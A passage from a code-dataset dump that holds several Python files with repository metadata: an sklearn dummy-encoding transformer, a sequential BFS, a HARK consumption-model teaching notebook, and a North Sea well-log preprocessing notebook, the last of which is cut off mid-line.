"e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2016-09-28T13:12:40.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-12T09:28:34.000Z", "avg_line_length": 34.6686567164, "max_line_length": 143, "alphanum_fraction": 0.5530394352, "include": true, "reason": "import sage,from sage", "num_tokens": 2423, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.12252320610998799, "lm_q1q2_score": 0.060304468397809785}}
{"text": "import pandas as pd\nimport numpy as np\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nclass MyDummyFeatures(BaseEstimator, TransformerMixin):\n    \"\"\"Dummification of categorical features\n    \n    Returns: \n        pd.DataFrame: transformed pandas DataFrame.\n    \"\"\"\n    \n    def __init__(self):\n        pass\n    \n    def fit(self, X, y=None):\n        return self\n    \n    def transform(self, X):\n        \n        assert isinstance(X, pd.DataFrame)\n        \n        return pd.get_dummies(X, drop_first=True)\n            \n        \n        \n        ", "meta": {"hexsha": "21338b62cc81a91770c0faf01b426911e38ac6b2", "size": 557, "ext": "py", "lang": "Python", "max_stars_repo_path": "Assignment 1 - Regression feature engineering/custom_transformers/my_dummy_features.py", "max_stars_repo_name": "AdiletGaparov/mbd-machine-learning-II", "max_stars_repo_head_hexsha": "d1c6220042aa562d451ce8ca27db44f413198d84", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Assignment 1 - Regression feature engineering/custom_transformers/my_dummy_features.py", "max_issues_repo_name": "AdiletGaparov/mbd-machine-learning-II", "max_issues_repo_head_hexsha": "d1c6220042aa562d451ce8ca27db44f413198d84", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Assignment 1 - Regression feature engineering/custom_transformers/my_dummy_features.py", "max_forks_repo_name": "AdiletGaparov/mbd-machine-learning-II", "max_forks_repo_head_hexsha": "d1c6220042aa562d451ce8ca27db44f413198d84", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-02-06T14:04:20.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-06T14:04:20.000Z", "avg_line_length": 21.4230769231, "max_line_length": 56, "alphanum_fraction": 0.5960502693, "include": true, "reason": "import numpy", "num_tokens": 112, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.12252320610998799, "lm_q1q2_score": 0.06030446839780978}}
{"text": "__author__ = \"Lui Sheng Jie\"\r\n__email__ = \"luishengjie@outlook.com\"\r\n\r\n\"\"\" Sequential BFS implementation.\r\n    Sequential implementation of Algorithm 1 Parallel BFS algorithm: High-level overview [1].\r\n\r\n    Reference: \r\n    [1] https://www.researchgate.net/publication/220782745_Scalable_Graph_Exploration_on_Multicore_Processors\r\n\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport time\r\nfrom src.load_graph import get_graph, gen_balanced_tree\r\n\r\ndef get_adjacent_nodes(G, x):\r\n    idx_lst = []\r\n    adj_list = G[x]\r\n    for idx, val in enumerate(adj_list):\r\n        if val == 1:\r\n            idx_lst.append(idx)\r\n    return idx_lst\r\n\r\ndef bfs_seq(G, target):\r\n    r = 0\r\n    CQ = []\r\n    \r\n    # Init all values in P to inf\r\n    P = [np.inf for i in range(G.shape[0])]\r\n    # Set root node \r\n    P[r] = 0\r\n    \r\n    # Enqueue r\r\n    CQ.append(r)\r\n\r\n    while len(CQ) != 0:\r\n        # print(f\"CQ: {CQ}\")\r\n        NQ = []\r\n        \r\n        for i in range(len(CQ)):\r\n            # Dequeue CQ\r\n            u = CQ.pop(0)\r\n            # For each v adjacent to u\r\n            for v in get_adjacent_nodes(G, u):\r\n                if v == target:\r\n                    return True\r\n                if P[v] == np.inf:\r\n                    P[v] = u\r\n                    NQ.append(v)\r\n        # Swap CQ and NQ\r\n        tmp = NQ\r\n        NQ = CQ\r\n        CQ = tmp\r\n    return False\r\n\r\ndef main():\r\n    start_time = time.time()\r\n    G  = gen_balanced_tree(4, 5, directed=True)\r\n    print(G.shape)\r\n    # G = get_graph()\r\n    find_node = bfs_seq(G, target=999999)\r\n    print(\"--- %s seconds ---\" % (time.time() - start_time))\r\n    if find_node:\r\n        print(f\"Node Found\")\r\n    else:\r\n        print(f\"Node not Found\")\r\n\r\n\r\nif __name__=='__main__':\r\n    main()", "meta": {"hexsha": "3f431febfe145d249d3a6849309dff8c66132810", "size": 1734, "ext": "py", "lang": "Python", "max_stars_repo_path": "seq_bfs_algo.py", "max_stars_repo_name": "luishengjie/parallel-bfs", "max_stars_repo_head_hexsha": "c27b75b7d43e526876ed0716ad8faad621357e10", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "seq_bfs_algo.py", "max_issues_repo_name": "luishengjie/parallel-bfs", "max_issues_repo_head_hexsha": "c27b75b7d43e526876ed0716ad8faad621357e10", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "seq_bfs_algo.py", "max_forks_repo_name": "luishengjie/parallel-bfs", "max_forks_repo_head_hexsha": "c27b75b7d43e526876ed0716ad8faad621357e10", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.4225352113, "max_line_length": 110, "alphanum_fraction": 0.5271049596, "include": true, "reason": "import numpy", "num_tokens": 470, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.13296424191570594, "lm_q1q2_score": 0.060267618010677745}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     cell_metadata_filter: collapsed,code_folding\n#     formats: ipynb,py\n#     notebook_metadata_filter: all\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.3\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n#   language_info:\n#     codemirror_mode:\n#       name: ipython\n#       version: 3\n#     file_extension: .py\n#     mimetype: text/x-python\n#     name: python\n#     nbconvert_exporter: python\n#     pygments_lexer: ipython3\n#     version: 3.7.6\n#   latex_envs:\n#     LaTeX_envs_menu_present: true\n#     autoclose: false\n#     autocomplete: true\n#     bibliofile: biblio.bib\n#     cite_by: apalike\n#     current_citInitial: 1\n#     eqLabelWithNumbers: true\n#     eqNumInitial: 1\n#     hotkeys:\n#       equation: Ctrl-E\n#       itemize: Ctrl-I\n#     labels_anchors: false\n#     latex_user_defs: false\n#     report_style_numbering: false\n#     user_envs_cfg: false\n# ---\n\n# # Alternative Combinations of Parameter Values\n#\n# Please write the names and email addresses of everyone who worked on this notebook on the line below.\n#\n# YOUR NAMES HERE\n#\n# ## Introduction\n#\n# The notebook \"Micro-and-Macro-Implications-of-Very-Impatient-HHs\" is an exercise that demonstrates the consequences of changing a key parameter of the [cstwMPC](http://econ.jhu.edu/people/ccarroll/papers/cstwMPC) model, the time preference factor $\\beta$.\n#\n# The [REMARK](https://github.com/econ-ark/REMARK) `SolvingMicroDSOPs` reproduces the last figure in the [SolvingMicroDSOPs](http://econ.jhu.edu/people/ccarroll/SolvingMicroDSOPs) lecture notes, which shows that there are classes of alternate values of $\\beta$ and $\\rho$ that fit the data almost as well as the exact 'best fit' combination.\n#\n# Inspired by this comparison, this notebook asks you to examine the consequences for:\n#\n# * The consumption function\n# * The distribution of wealth\n#\n# Of _joint_ changes in $\\beta$ and $\\rho$ together.  \n#\n# One way you can do this is to construct a list of alternative values of $\\rho$ (say, values that range upward from the default value of $\\rho$, in increments of 0.2, all the way to $\\rho=5$).  Then for each of these values of $\\rho$ you will find the value of $\\beta$ that leads the same value for target market resources, $\\check{m}$.\n#\n# As a reminder, $\\check{m}$ is defined as the value of $m$ at which the optimal value of ${c}$ is the value such that, at that value of ${c}$, the expected level of ${m}$ next period is the same as its current value:\n#\n# $\\mathbb{E}_{t}[{m}_{t+1}] = {m}_{t}$ \n#\n# Other notes:\n# * The cstwMPC model solves and simulates the problems of consumers with 7 different values of $\\beta$\n#    * You should do your exercise using the middle value of $\\beta$ from that exercise: \n#       * `DiscFac_mean   = 0.9855583`\n# * You are likely to run into the problem, as you experiment with parameter values, that you have asked HARK to solve a model that does not satisfy one of the impatience conditions required for the model to have a solution.  Those conditions are explained intuitively in the [TractableBufferStock](http://econ.jhu.edu/people/ccarroll/public/lecturenotes/consumption/TractableBufferStock/) model.  The versions of the impatience conditions that apply to the $\\texttt{IndShockConsumerType}$ model can be found in the paper [BufferStockTheory](http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory), table 2.\n#    * The conditions that need to be satisfied are:\n#       * The Growth Impatience Condition (GIC)\n#       * The Return Impatience Condition (RIC)\n# * Please accumulate the list of solved consumers' problems in a list called `MyTypes`\n#    * For compatibility with a further part of the assignment below\n\n# + {\"code_folding\": []}\n# This cell merely imports and sets up some basic functions and packages \n\n# %matplotlib inline\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport numpy as np\nfrom copy import deepcopy\n\nimport HARK # Prevents import error from Demos repo\nfrom HARK.utilities import plotFuncs\n\n# + {\"code_folding\": [0, 4]}\n# Import IndShockConsumerType\nfrom HARK.ConsumptionSaving.ConsIndShockModel import IndShockConsumerType\n\n# Define a dictionary with calibrated parameters\ncstwMPC_calibrated_parameters = {\n    \"CRRA\":1.0,                    # Coefficient of relative risk aversion \n    \"Rfree\":1.01/(1.0 - 1.0/160.0), # Survival probability,\n    \"PermGroFac\":[1.000**0.25], # Permanent income growth factor (no perm growth),\n    \"PermGroFacAgg\":1.0,\n    \"BoroCnstArt\":0.0,\n    \"CubicBool\":False,\n    \"vFuncBool\":False,\n    \"PermShkStd\":[(0.01*4/11)**0.5],  # Standard deviation of permanent shocks to income\n    \"PermShkCount\":5,  # Number of points in permanent income shock grid\n    \"TranShkStd\":[(0.01*4)**0.5],  # Standard deviation of transitory shocks to income,\n    \"TranShkCount\":5,  # Number of points in transitory income shock grid\n    \"UnempPrb\":0.07,  # Probability of unemployment while working\n    \"IncUnemp\":0.15,  # Unemployment benefit replacement rate\n    \"UnempPrbRet\":None,\n    \"IncUnempRet\":None,\n    \"aXtraMin\":0.00001,  # Minimum end-of-period assets in grid\n    \"aXtraMax\":40,  # Maximum end-of-period assets in grid\n    \"aXtraCount\":32,  # Number of points in assets grid\n    \"aXtraExtra\":[None],\n    \"aXtraNestFac\":3,  # Number of times to 'exponentially nest' when constructing assets grid\n    \"LivPrb\":[1.0 - 1.0/160.0],  # Survival probability\n    \"DiscFac\":0.97,             # Default intertemporal discount factor; dummy value, will be overwritten\n    \"cycles\":0,\n    \"T_cycle\":1,\n    \"T_retire\":0,\n    'T_sim':1200,  # Number of periods to simulate (idiosyncratic shocks model, perpetual youth)\n    'T_age': 400,\n    'IndL': 10.0/9.0,  # Labor supply per individual (constant),\n    'aNrmInitMean':np.log(0.00001),\n    'aNrmInitStd':0.0,\n    'pLvlInitMean':0.0,\n    'pLvlInitStd':0.0,\n    'AgentCount':10000,\n}\n# -\n\n# Construct a list of solved consumers' problems, IndShockConsumerType is just a place holder\nMyTypes = [IndShockConsumerType(**cstwMPC_calibrated_parameters)]\n\n# ## Simulating the Distribution of Wealth for Alternative Combinations\n#\n# You should now have constructed a list of consumer types all of whom have the same _target_ level of market resources $\\check{m}$.  \n#\n# But the fact that everyone has the same target ${m}$ does not mean that the _distribution_ of ${m}$ will be the same for all of these consumer types.\n#\n# In the code block below, fill in the contents of the loop to solve and simulate each agent type for many periods.  To do this, you should invoke the methods $\\texttt{solve}$, $\\texttt{initializeSim}$, and $\\texttt{simulate}$ in that order.  Simulating for 1200 quarters (300 years) will approximate the long run distribution of wealth in the population. \n\nfor ThisType in tqdm(MyTypes):\n    ThisType.solve()\n    ThisType.initializeSim()\n    ThisType.simulate()\n\n# Now that you have solved and simulated these consumers, make a plot that shows the relationship between your alternative values of $\\rho$ and the mean level of assets \n\n# +\n# To help you out, we have given you the command needed to construct a list of the levels of assets for all consumers\naLvl_all = np.concatenate([ThisType.aLvlNow for ThisType in MyTypes])\n\n# You should take the mean of aLvl for each consumer in MyTypes, divide it by the mean across all simulations\n# and then plot the ratio of the values of mean(aLvl) for each group against the value of $\\rho$ \n# -\n\n# # Interpret\n# Here, you should attempt to give an intiutive explanation of the results you see in the figure you just constructed\n\n# ## The Distribution of Wealth...\n#\n# Your next exercise is to show how the distribution of wealth differs for the different parameter  values \n\n# +\nfrom HARK.utilities import getLorenzShares, getPercentiles\n\n# Finish filling in this function to calculate the Euclidean distance between the simulated and actual Lorenz curves.\ndef calcLorenzDistance(SomeTypes):\n    '''\n    Calculates the Euclidean distance between the simulated and actual (from SCF data) Lorenz curves at the\n    20th, 40th, 60th, and 80th percentiles.\n    \n    Parameters\n    ----------\n    SomeTypes : [AgentType]\n        List of AgentTypes that have been solved and simulated.  Current levels of individual assets should\n        be stored in the attribute aLvlNow.\n        \n    Returns\n    -------\n    lorenz_distance : float\n        Euclidean distance (square root of sum of squared differences) between simulated and actual Lorenz curves.\n    '''\n    # Define empirical Lorenz curve points\n    lorenz_SCF = np.array([-0.00183091,  0.0104425 ,  0.0552605 ,  0.1751907 ])\n    \n    # Extract asset holdings from all consumer types\n    aLvl_sim = np.concatenate([ThisType.aLvlNow for ThisType in MyTypes])\n    \n    # Calculate simulated Lorenz curve points\n    lorenz_sim = getLorenzShares(aLvl_sim,percentiles=[0.2,0.4,0.6,0.8])\n    \n    # Calculate the Euclidean distance between the simulated and actual Lorenz curves\n    lorenz_distance = np.sqrt(np.sum((lorenz_SCF - lorenz_sim)**2))\n    \n    # Return the Lorenz distance\n    return lorenz_distance\n\n\n# -\n\n# ## ...and the Marginal Propensity to Consume\n#\n# Now let's look at the aggregate MPC.  In the code block below, write a function that produces text output of the following form:\n#\n# $\\texttt{The 35th percentile of the MPC is 0.15623}$\n#\n# Your function should take two inputs: a list of types of consumers and an array of percentiles (numbers between 0 and 1). It should return no outputs, merely print to screen one line of text for each requested percentile.  The model is calibrated at a quarterly frequency, but Carroll et al report MPCs at an annual frequency. To convert, use the formula:\n#\n# $\\kappa_{Y} \\approx 1.0 - (1.0 - \\kappa_{Q})^4$\n\n# +\n# Write a function to tell us about the distribution of the MPC in this code block, then test it!\n# You will almost surely find it useful to use a for loop in this function.\ndef describeMPCdstn(SomeTypes,percentiles):\n    MPC_sim = np.concatenate([ThisType.MPCnow for ThisType in SomeTypes])\n    MPCpercentiles_quarterly = getPercentiles(MPC_sim,percentiles=percentiles)\n    MPCpercentiles_annual = 1.0 - (1.0 - MPCpercentiles_quarterly)**4\n    \n    for j in range(len(percentiles)):\n        print('The ' + str(100*percentiles[j]) + 'th percentile of the MPC is ' + str(MPCpercentiles_annual[j]))\n        \ndescribeMPCdstn(MyTypes,np.linspace(0.05,0.95,19))\n# -\n\n# # If You Get Here ...\n#\n# If you have finished the above exercises quickly and have more time to spend on this assignment, for extra credit you can do the same exercise where, instead of exploring the consequences of alternative values of relative risk aversion $\\rho$, you should test the consequences of different values of the growth factor $\\Gamma$ that lead to the same $\\check{m}$.\n\n\n", "meta": {"hexsha": "0b91d26679842537021fd7a33d941a3fb4dd659c", "size": 10927, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/Alternative-Combos-Of-Parameter-Values.py", "max_stars_repo_name": "frankovici/DemARK", "max_stars_repo_head_hexsha": "177c09bd387160d06f979c417671b3de18746846", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/Alternative-Combos-Of-Parameter-Values.py", "max_issues_repo_name": "frankovici/DemARK", "max_issues_repo_head_hexsha": "177c09bd387160d06f979c417671b3de18746846", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/Alternative-Combos-Of-Parameter-Values.py", "max_forks_repo_name": "frankovici/DemARK", "max_forks_repo_head_hexsha": "177c09bd387160d06f979c417671b3de18746846", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.6965811966, "max_line_length": 613, "alphanum_fraction": 0.7198682163, "include": true, "reason": "import numpy", "num_tokens": 2936, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.13296423504419935, "lm_q1q2_score": 0.060267614896085966}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.6.0\n#   kernelspec:\n#     display_name: deep_ml_curriculum\n#     language: python\n#     name: deep_ml_curriculum\n# ---\n\n# Note download data from https://drive.google.com/drive/folders/1EgDN57LDuvlZAwr5-eHWB5CTJ7K9HpDP\n#\n# Credit to this repo: https://github.com/LukasMosser/geolink_dataset\n#\n# ## Data Disclaimer\n#\n# All the data serving as an input to these notebooks was generously donated by GEOLINK  \n# and is CC-by-SA 4.0 \n#\n# If you use their data please reference their dataset properly to give them credit for their contribution.\n\n# %reload_ext autoreload\n# %autoreload 2\n\nimport lasio\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nimport os\nfrom tqdm.auto import tqdm\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\nfrom pathlib import Path\nfrom sklearn import preprocessing\nfrom operator import itemgetter\n\n# # in and our directories\n\ndata_locations = Path(\n    \"../../data/raw/geolink_dataset/GEOLINK North sea wells with Lithology interpretation/GEOLINK_Lithology and wells NORTH SEA\"\n)\ndata_locations_wellheads = Path(\"../../data/raw/geolink_dataset/norge_well_heads\")\ninterim_locations = Path(\"../../data/processed/geolink_norge_dataset/\")\ninterim_locations2 = Path(\"../../data/interim/geolink_norge_dataset/\")\n\n# # load and save as parquet\n\ndf_lithology = pd.read_excel(data_locations / \"../Lithology code data.xlsx\", header=1)[\n    :-1\n]\ndf_lithology[\"Abbreviation\"] = pd.to_numeric(df_lithology[\"Abbreviation\"])\ndf_lithology.to_parquet(\n    interim_locations / \"geolink_norge_lithology.parquet\", compression=\"gzip\"\n)\ndf_lithology\n\n\n\n# +\n# TODO rename well heads\ndf_well_tops = pd.concat(\n    [\n        pd.read_csv(data_locations_wellheads / \"wellbore_exploration_all.csv\"),\n        pd.read_csv(data_locations_wellheads / \"wellbore_development_all.csv\"),\n        pd.read_csv(data_locations_wellheads / \"wellbore_other_all.csv\"),\n    ]\n)\ndf_well_tops[\"wlbWellboreName_geolink\"] = df_well_tops[\"wlbWellboreName\"].str.replace(\n    \"/\", \"_\"\n)\n\n\n# add dates\ndate_cols = [\"wlbEntryDate\", \"wlbCompletionDate\"]\nfor c in date_cols:\n    df_well_tops[c] = pd.to_datetime(df_well_tops[c])  # .astype('str')\n\ndf_well_tops[\"wlbNsDecDeg\"] = df_well_tops[\"wlbNsDecDeg\"].replace(0, np.nan)\ndf_well_tops[\"wlbEwDesDeg\"] = df_well_tops[\"wlbEwDesDeg\"].replace(0, np.nan)\n\na = set(df_well_tops.columns)\ndf_well_tops = df_well_tops.dropna(axis=1, thresh=0.9 * len(df_well_tops))\nb = set(df_well_tops.columns)\nprint(\"removed\", a - b)\n\n# make into geodataframe\ndf_well_tops = gpd.GeoDataFrame(\n    df_well_tops,\n    geometry=gpd.points_from_xy(df_well_tops.wlbEwDesDeg, df_well_tops.wlbNsDecDeg),\n)\ndf_well_tops\n# -\n\n\n\n# ## Las files\n\n# We can now proceed to import these files as las files and get their dataframes and hopefully put them into a data format that is more suited for ML tasks.\n\n# +\nif not (interim_locations2 / \"geolink_norge_well_logs_raw.parquet\").exists():\n\n    # load las files\n    well_dataframes = []\n    files = sorted(data_locations.glob(\"*.las\"))\n    for f in tqdm(files):\n        df = lasio.read(f).df()\n        df[\"Well\"] = f.stem\n        well_dataframes.append(df)\n\n    df_all = pd.concat(well_dataframes)\n\n    df_all[\"Well\"] = df_all[\"Well\"].astype(\"category\")\n\n    # Name lithology\n    litho_dict = df_lithology.set_index(\"Abbreviation\")[\"Lithology\"].to_dict()\n    df_all[\"LITHOLOGY_GEOLINK\"] = (\n        df_all[\"LITHOLOGY_GEOLINK\"].replace(litho_dict).astype(\"category\")\n    )\n\n    # unique index\n    df_all = df_all.reset_index()  # .set_index(['Well', 'DEPT'])\n\n    df_all.to_parquet(\n        interim_locations2 / \"geolink_norge_well_logs_raw.parquet\", compression=\"gzip\"\n    )\n\ndf_all = pd.read_parquet(interim_locations2 / \"geolink_norge_well_logs_raw.parquet\")\ndf_all\n# -\n\n# ## Clean las files\n\n\n\n# +\n# Clean.\n\n# must have well head\ndf_all_clean2 = df_all[\n    df_all.Well.apply(lambda s: s in set(df_well_tops[\"wlbWellboreName_geolink\"]))\n]\n\n# must have lithology\ndf_all_clean2 = df_all_clean2.dropna(subset=[\"LITHOLOGY_GEOLINK\"])\nprint(\"nans\", df_all_clean2.isna().mean().sort_values())\n# Keep /cols logs that are present>thresh of the time\ndf_all_clean1 = df_all_clean2.dropna(axis=1, thresh=0.6 * len(df_all_clean2))\nprint('kept {:%} cols'.format(len(df_all_clean1.columns) / len(df_all_clean2.columns)))\n# print(\"nans\", df_all_clean1.isna().mean().sort_values())\n\n# Drop rows with any Nan's\ndf_all_clean = df_all_clean1.dropna(axis=0, how='any')\nprint('kept {:%} rows'.format(len(df_all_clean) / len(df_all_clean2)))\ndf_all_clean\n# -\n\ndf_all_clean.dropna().Well.value_counts()\n\ndf_all_clean[df_all_clean['LITHOLOGY_GEOLINK']=='Marlstone'].Well.value_counts()\n\n# +\n# 15_9-12\n# -\n\nfrom deep_ml_curriculum.visualization.well_log import plot_facies, plot_well\nwell_name=\"30_4-1\"\nlogs = df_all_clean[df_all_clean2.Well==well_name]\nfacies = logs['LITHOLOGY_GEOLINK'].astype('category').values\nplot_well(well_name, \n          logs, \n          facies)\n\nfrom deep_ml_curriculum.visualization.well_log import plot_facies, plot_well\nwell_name=\"30_6-11\"\nlogs = df_all_clean[df_all_clean2.Well==well_name]\nfacies = logs['LITHOLOGY_GEOLINK'].astype('category').values\nplot_well(well_name, \n          logs, \n          facies)\n\n# +\n# Split by well name\n# wells_val = [\n#     \"35_11-1\",\n#     \"35_11-10\",\n#     \"35_11-11\",\n#     \"35_11-12\",\n#     \"35_11-13\",\n#     \"35_11-15 S\",\n#     \"35_11-2\",\n#     \"35_11-5\",\n#     \"35_11-6\",\n#     \"35_11-7\",\n#     \"35_12-1\",\n# ]\n\nwells_test = [\n    \"34_10-12\",\n    \"34_10-16 R\",\n    \"34_10-17\",\n    \"34_10-19\",\n    \"34_10-21\",\n    \"34_10-23\",\n    \"34_10-33\",\n    \"34_10-35\",\n    \"34_10-5\",\n    \"34_10-7\",\n    \"34_11-1\",\n    \"34_11-2 S\",\n    \"34_11-3 T2\",\n]\n# -\n\ndf_all_clean_test = df_all_clean[df_all_clean.Well.apply(lambda s: s in wells_test)]\ndf_all_clean_train = df_all_clean[\n    df_all_clean.Well.apply(lambda s: (s not in wells_test))\n]\n# assert len(set(df_all_clean_val.Well).intersection(set(df_all_clean_train))) == 0\nassert len(set(df_all_clean_test.Well).intersection(set(df_all_clean_train))) == 0\n# assert len(set(df_all_clean_test.Well).intersection(set(df_all_clean_val))) == 0\nlen(df_all_clean_train), len(df_all_clean_test)\n\ndf_all_clean_train.to_parquet(\n    interim_locations / \"geolink_norge_well_logs_train.parquet\", compression=\"gzip\"\n)\ndf_all_clean_test.to_parquet(\n    interim_locations / \"geolink_norge_well_logs_test.parquet\", compression=\"gzip\"\n)\n# df_all_clean_val.to_parquet(\n#     interim_locations / \"geolink_norge_well_logs_val.parquet\", compression=\"gzip\"\n# )\n\ndf_all_clean\n\n\n\n# # Others\n\n\n\ndf_picks = pd.read_excel(\n    data_locations / \"../NPD stratigraphic picks north sea.xlsx\", header=0\n)\ndf_picks.to_parquet(\n    interim_locations / \"geolink_norge_picks.parquet\", compression=\"gzip\"\n)\n\ndf_picks\n\n# ## Well heads part 2\n\n# only wells we use\na = sorted(df_all.Well.unique())\ndf_well_tops = df_well_tops[\n    df_well_tops[\"wlbWellboreName_geolink\"].apply(lambda s: s in a)\n]\n\ndf_well_tops.to_file(interim_locations / \"norge_well_tops.gpkg\", driver=\"GPKG\")\n\n# # Example Load\n\n# +\n# Test load\ndf_all_clean2 = pd.read_parquet(\n    interim_locations / \"geolink_norge_well_logs_train.parquet\"\n)  # .set_index(['Well', 'DEPT'])\n\ndf_well_tops = gpd.read_file(interim_locations / \"norge_well_tops.gpkg\")\ndf_well_tops_minimal = df_well_tops[\n    [\n        \"wlbWellboreName_geolink\",\n        \"wlbCompletionYear\",\n        \"wlbKellyBushElevation\",\n        \"wlbCompletionDate\",\n        \"wlbTotalDepth\",\n        \"geometry\",\n    ]\n]\ndf_well_tops.plot()\n# -\n\n# Merge well tops and well logs, a selection\ndf_all_clean3 = pd.merge(\n    left=df_all_clean2.sample(1000),\n    right=df_well_tops_minimal,\n    left_on=\"Well\",\n    right_on=\"wlbWellboreName_geolink\",\n    how=\"left\",\n).drop(columns=\"wlbWellboreName_geolink\")\ndf_all_clean3 = df_all_clean3.set_index(['Well', 'DEPT'])\ndf_all_clean3 = gpd.GeoDataFrame(df_all_clean3, geometry=df_all_clean3['geometry'])\ndf_all_clean3.plot()\n# df_all_clean3\n\ndf_picks = pd.read_parquet(interim_locations / \"geolink_norge_picks.parquet\")\ndf_picks\n\ndf_all_clean = pd.read_parquet(\n    interim_locations / \"geolink_norge_well_logs_train.parquet\"\n).set_index([\"Well\", \"DEPT\"])\ndf_all_clean\n\n# # Example plot\n\ndf_all_clean = pd.read_parquet(\n    interim_locations / \"geolink_norge_well_logs_train.parquet\"\n).set_index([\"Well\", \"DEPT\"])\ndf_all_clean['DEPT'] = df_all_clean.index.get_level_values(1)\ndf_all_clean\n\n# +\n# logs\n# -\n\nfrom deep_ml_curriculum.visualization.well_log import plot_facies, plot_well\nwell_name=\"30_4-1\"\nlogs = df_all_clean.xs(well_name)\nfacies = logs['LITHOLOGY_GEOLINK'].astype('category').values\nplot_well(well_name, \n          logs, \n          facies)\n\nplt.figure(figsize=(1,8))\nplot_facies(facies, plt.gca(), colorbar=False)\n\n# # reindex depth and to Xarray\n#\n# This lets us includes location easily without using much more space\n\n# +\n# Load some\ndf_all_clean1 = pd.read_parquet(\n    interim_locations / \"geolink_norge_well_logs_test.parquet\"\n).set_index(['Well', 'DEPT'])\ndf_all_clean1['Depth'] = df_all_clean1.index.get_level_values(1)\ndf_all_clean1['split'] = 'test'\n\n# Load some\ndf_all_clean2 = pd.read_parquet(\n    interim_locations / \"geolink_norge_well_logs_train.parquet\"\n).set_index(['Well', 'DEPT'])\ndf_all_clean2['Depth'] = df_all_clean2.index.get_level_values(1)\ndf_all_clean2['split'] = 'train'\n\n# # Load some\n# df_all_clean3 = pd.read_parquet(\n#     interim_locations / \"geolink_norge_well_logs_val.parquet\"\n# ).set_index(['Well', 'DEPT'])\n# df_all_clean3['Depth'] = df_all_clean3.index.get_level_values(1)\n# df_all_clean3['split'] = 'val'\n\ndf_all = pd.concat([df_all_clean1, df_all_clean2])\ndf_all\n# -\n\n\n\n\n\ndf_well_tops = gpd.read_file(interim_locations / \"norge_well_tops.gpkg\")\ndf_well_tops_minimal = df_well_tops[\n    [\n        \"wlbWellboreName_geolink\",\n        \"wlbCompletionYear\",\n        \"wlbKellyBushElevation\",\n        \"wlbCompletionDate\",\n        \"wlbTotalDepth\",\n        \"geometry\",\n    ]\n].copy()\ndf_well_tops_minimal['xc'] = df_well_tops_minimal.geometry.x\ndf_well_tops_minimal['yc'] = df_well_tops_minimal.geometry.y\ndf_well_tops_minimal\n\nnidx = np.arange(400, 5500, 0.15)\n\n\n# +\ndef reindex(x):\n    \"\"\"Reindex each well to 15cm\"\"\"\n    if len(x)==0: return None\n    x = x.reset_index().set_index('DEPT')\n    x = x.reindex(nidx, method='nearest', limit=1).drop(columns=['Well']).sort_index()\n    return x\n#     return x.reset_index().set_index(['Well', 'DEPT'])\n\ndf_all3 = df_all.groupby(level=0).apply(reindex).dropna()\ndf_all3\n# -\n\n\n\nimport xarray as xr\nxr_all_clean2 = df_all3.to_xarray()\nxr_all_clean2\n\nxr_wells = df_well_tops_minimal.rename(columns={'wlbWellboreName_geolink':'Well'}).set_index('Well').to_xarray()\nxr_wells\n\nxr_all = xr.merge(\n    [xr_all_clean2, xr_wells],\n    join='left')\n\n\nxr_all2 = xr_all.sortby(['Well', 'DEPT'])\nxr_all2\n\nwell_name=\"30_4-1\"\nlogs = xr_all2.sel(Well=well_name).to_dataframe().dropna()\nlogs['DEPT'] = logs['Depth']\nfacies = logs['LITHOLOGY_GEOLINK'].astype('category').values\nplot_well(well_name, logs, facies)\nlogs\n\nfrom deep_ml_curriculum.visualization.well_log import plot_facies, plot_well\nwell_name=\"30_4-1\"\nlogs = df_all_clean.xs(well_name)\nfacies = 